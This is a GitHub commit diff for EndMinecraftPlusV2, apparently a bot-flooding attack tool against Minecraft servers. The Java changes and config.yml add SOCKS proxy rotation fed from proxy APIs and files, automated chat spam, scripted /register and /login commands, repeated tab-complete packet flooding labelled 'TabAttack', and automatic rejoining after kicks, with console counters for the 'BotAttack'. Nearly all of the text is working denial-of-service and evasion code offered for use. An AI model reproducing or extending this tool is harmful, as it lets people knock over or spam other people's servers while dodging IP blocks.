Skip to content

Commit

Permalink
修复了一些Bug 添加Socks代理支持
Browse files Browse the repository at this point in the history
  • Loading branch information
SerendipityR-2022 authored Aug 17, 2022
1 parent b1e671f commit d909779
Show file tree
Hide file tree
Showing 5 changed files with 131 additions and 43 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -63,8 +63,8 @@ public void setBotConfig(boolean motdbefore, boolean tab, Map<String, String> mo
this.modList = modList;
}

public String getRandMessage() {
return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6));
public String getRandMessage(String userName) {
return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6).replace("$pwd",DataUtil.botRegPasswordsMap.get(userName)));
}

public void start() {
Expand All @@ -73,11 +73,16 @@ public void start() {
for (Client c : clients) {
if (c.getSession().isConnected()) {
if (c.getSession().hasFlag("login")) {
c.getSession().send(new ClientChatPacket(getRandMessage()));
if (ConfigUtil.ChatSpam) {
c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c))));
}

OtherUtils.doSleep(ConfigUtil.ChatDelay);
} else if (c.getSession().hasFlag("join")) {
if (ConfigUtil.RegisterAndLogin) {
for (String cmd:ConfigUtil.RegisterCommands) {
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
OtherUtils.doSleep(ConfigUtil.ChatDelay);
}
}

Expand Down Expand Up @@ -115,11 +120,14 @@ public void start() {
if (this.attack_tab) {
tabThread = new Thread(() -> {
while (true) {
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);

for (Client c : clients) {
if (c.getSession().isConnected() && c.getSession().hasFlag("join")) {
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
}
}

OtherUtils.doSleep(10);
}
});
Expand Down Expand Up @@ -153,11 +161,23 @@ private void createClients(final String ip, int port) {
for (String p: ProxyUtil.proxies) {
try {
String[] _p = p.split(":");
Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));

Proxy.Type proxyType;
switch (ConfigUtil.ProxyType) {
case 2:
proxyType = Proxy.Type.SOCKS;
break;
case 1:
default:
proxyType = Proxy.Type.HTTP;
break;
}

Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
String[] User = AttackManager.getRandomUser().split("@");
Client client = createClient(ip, port, User[0], proxy);
client.getSession().setReadTimeout(10 * 1000);
client.getSession().setWriteTimeout(10 * 1000);
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
clientName.put(client, User[0]);
clients.add(client);

Expand Down Expand Up @@ -208,32 +228,34 @@ public void disconnected(DisconnectedEvent e) {
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
if (msg.contains(rejoinDetect)) {
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
rejoin++;
Client rejoinClient = createClient(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, username, proxy);
rejoinClient.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));
rejoinClient.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.RejoinDelay));

rejoin++;
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
clientName.put(rejoinClient, username);
clients.add(rejoinClient);
rejoinClient.getSession().connect(false);

OtherUtils.doSleep(ConfigUtil.RejoinDelay);

boolean canBreak = false;

for (Client client:clientName.keySet()) {
if (clientName.get(client).contains(username)) {
canBreak = true;
}
}

if (canBreak) {
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
break;
}
}
}
}
} else if (ConfigUtil.ShowFails) {
msg = e.getCause().getMessage();
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
}

failed++;
alivePlayers.remove(username);
SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);

client.getSession().disconnect("");
clients.remove(client);
}
});
return client;
Expand Down Expand Up @@ -294,10 +316,13 @@ protected void handlePacket(Session session, Packet recvPacket, String username)
MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
MultiVersionPacket.sendClientPlayerChangeHeldItemPacket(session, 1);
} else if (recvPacket instanceof ServerPlayerPositionRotationPacket) {
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
session.send(new ClientPlayerMovementPacket(true));
MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet);
try {
ServerPlayerPositionRotationPacket packet = (ServerPlayerPositionRotationPacket) recvPacket;
MultiVersionPacket.sendPosPacket(session, packet.getX(), packet.getY(), packet.getZ(), packet.getYaw(), packet.getYaw());
session.send(new ClientPlayerMovementPacket(true));
MultiVersionPacket.sendClientTeleportConfirmPacket(session, packet);
} catch (Exception ignored) {}

} else if (recvPacket instanceof ServerChatPacket) {
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
clickVerifiesHandle(chatPacket.getMessage(), session, username);
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;

public class EndMinecraftPlusV2 {
public static String ver = "1.0_Dev";
public static String ver = "1.0.2_Dev";

public static void main(String[] args) {
System.out.println("========================-Forked by SerendipityR-========================");
Expand Down
10 changes: 8 additions & 2 deletions src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@ public class ConfigUtil {
public static Boolean TabAttack;
public static Boolean AntiAttackMode;
public static String DoubleExploitPlayer;
public static Boolean ShowFails;
public static String BotName;
public static Integer BotCount;
public static Boolean RegisterAndLogin;
Expand All @@ -31,8 +32,10 @@ public class ConfigUtil {
public static Long RejoinDelay;
public static List<String> ClickVerifiesDetect;
public static List<String> CustomChat;
public static Integer ChatDelay;
public static Boolean ChatSpam;
public static Long ChatDelay;
public static Integer ProxyGetType;
public static Integer ProxyType;
public static Integer ProxyUpdateTime;
public static File ProxyFile;
public static List<String> ProxyAPIs;
Expand All @@ -57,6 +60,7 @@ public void loadConfig() {
TabAttack = config.getBoolean("AttackSettings.TabAttack");
AntiAttackMode = config.getBoolean("AttackSettings.AntiAttackMode");
DoubleExploitPlayer = config.getString("AttackSettings.DoubleExploitPlayer");
ShowFails = config.getBoolean("AttackSettings.ShowFails");
BotName = config.getString("BotSettings.BotName");
BotCount = config.getInt("BotSettings.BotCount");
RegisterAndLogin = config.getBoolean("BotSettings.Register&Login");
Expand All @@ -65,9 +69,11 @@ public void loadConfig() {
RejoinDetect = config.getStringList("BotSettings.RejoinDetect");
RejoinDelay = config.getLong("BotSettings.RejoinDelay");
ClickVerifiesDetect = config.getStringList("BotSettings.ClickVerifiesDetect");
ChatSpam = config.getBoolean("BotSettings.ChatSpam");
CustomChat = config.getStringList("BotSettings.CustomChat");
ChatDelay = config.getInt("BotSettings.ChatDelay");
ChatDelay = config.getLong("BotSettings.ChatDelay");
ProxyGetType = config.getInt("Proxy.GetType");
ProxyType = config.getInt("Proxy.ProxyType");
ProxyUpdateTime = config.getInt("Proxy.UpdateTime");
ProxyFile = new File(config.getString("Proxy.File"));
ProxyAPIs = config.getStringList("Proxy.APIs");
Expand Down
85 changes: 68 additions & 17 deletions src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java
Original file line number Diff line number Diff line change
Expand Up @@ -8,44 +8,67 @@
import java.util.regex.Matcher;

public class ProxyUtil {
public static final List<String> proxies = new ArrayList<>();
public static List<String> proxies = new ArrayList<>();

public static void getProxies() {
String getMethod;

switch (ConfigUtil.ProxyGetType) {
case 2:
getMethod = "通过本地文件获取";
getProxiesFromFile();
getProxiesFromFile(false, true);
break;
case 3:
getMethod = "通过API+本地文件获取";
getProxiesFromFile();
getProxiesFromAPIs();
getProxiesFromFile(false, true);
getProxiesFromAPIs(false, false);
break;
case 1:
default:
getMethod = "通过API获取";
getProxiesFromAPIs();
getProxiesFromAPIs(false, true);
}

LogUtil.doLog(0, "获取代理完成! (" + getMethod + " | 数量: " + proxies.size() + "个)", "ProxyUtil");
LogUtil.emptyLog();
}

public static void getProxiesFromAPIs() {
for (String url:ConfigUtil.ProxyAPIs) {
String ips = HTTPUtil.sendGet(url);
public static void getProxiesFromAPIs(boolean async, boolean replace) {
if (async) {
List<String> newProxies = proxies;

Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}");
while (matcher.find()) {
String ip = matcher.group();
proxies.add(ip);
if (replace) {
newProxies = new ArrayList<>();
}

for (String url:ConfigUtil.ProxyAPIs) {
String ips = HTTPUtil.sendGet(url);
Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}");
while (matcher.find()) {
String ip = matcher.group();
newProxies.add(ip);
}
}

proxies = newProxies;
} else {
for (String url:ConfigUtil.ProxyAPIs) {
if (replace) {
proxies = new ArrayList<>();
}

String ips = HTTPUtil.sendGet(url);
Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}");
while (matcher.find()) {
String ip = matcher.group();
proxies.add(ip);
}
}
}
}

public static void getProxiesFromFile() {

public static void getProxiesFromFile(boolean async, boolean replace) {
try {
if (!ConfigUtil.ProxyFile.exists()) {
LogUtil.doLog(1, "无法从文件读取代理! 文件不存在。", null);
Expand All @@ -54,8 +77,27 @@ public static void getProxiesFromFile() {

BufferedReader reader = new BufferedReader(new FileReader(ConfigUtil.ProxyFile));
String tempString;
while ((tempString = reader.readLine()) != null) {
proxies.add(tempString);

if (async) {
List<String> newProxies = proxies;

if (replace) {
newProxies = new ArrayList<>();
}

while ((tempString = reader.readLine()) != null) {
newProxies.add(tempString);
}

proxies = newProxies;
} else {
if (replace) {
proxies = new ArrayList<>();
}

while ((tempString = reader.readLine()) != null) {
proxies.add(tempString);
}
}

reader.close();
Expand All @@ -68,9 +110,18 @@ public static void runUpdateProxiesTask(int time) {
new Thread(() -> {
while (true) {
OtherUtils.doSleep(time * 1000L);
synchronized (proxies) {
getProxiesFromAPIs();

switch (ConfigUtil.ProxyGetType) {
case 1:
getProxiesFromAPIs(true, true);
break;
case 3:
getProxiesFromFile(true, true);
getProxiesFromAPIs(true, false);
break;
}

LogUtil.doLog(0, "代理更新完毕! (通过API获取 | 数量: " + proxies.size() + "个)", "ProxyUtil");
}
}).start();
}
Expand Down
8 changes: 7 additions & 1 deletion src/config.yml
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,7 @@ AttackSettings:
TabAttack: true
AntiAttackMode: true
DoubleExploitPlayer: "ImOldSix_666"
ShowFails: false

BotSettings:
# 可用占位符:
Expand All @@ -38,20 +39,25 @@ BotSettings:
RegisterCommands:
- "/register $pwd $pwd"
- "/login $pwd"
ChatSpam: true
CustomChat:
- "喵喵喵萌喵~ $rnd"
- "喵喵喵萌~ $rnd"
- "喵喵喵~ $rnd"
- "喵喵~ $rnd"
- "喵~ $rnd"
ChatDelay: 3
ChatDelay: 3000

Proxy:
# 代理获取方式:
# 1 - API - 从API获取
# 2 - File - 从本地读取
# 3 - File + API - 两种方式同时获取
GetType: 1
# 代理类型:
# 1 - HTTP/HTTPS
# 2 - SOCKS4/SOCKS5
ProxyType: 1
UpdateTime: 300
File: "proxies.txt"
APIs:
Expand Down

0 comments on commit d909779

Please sign in to comment.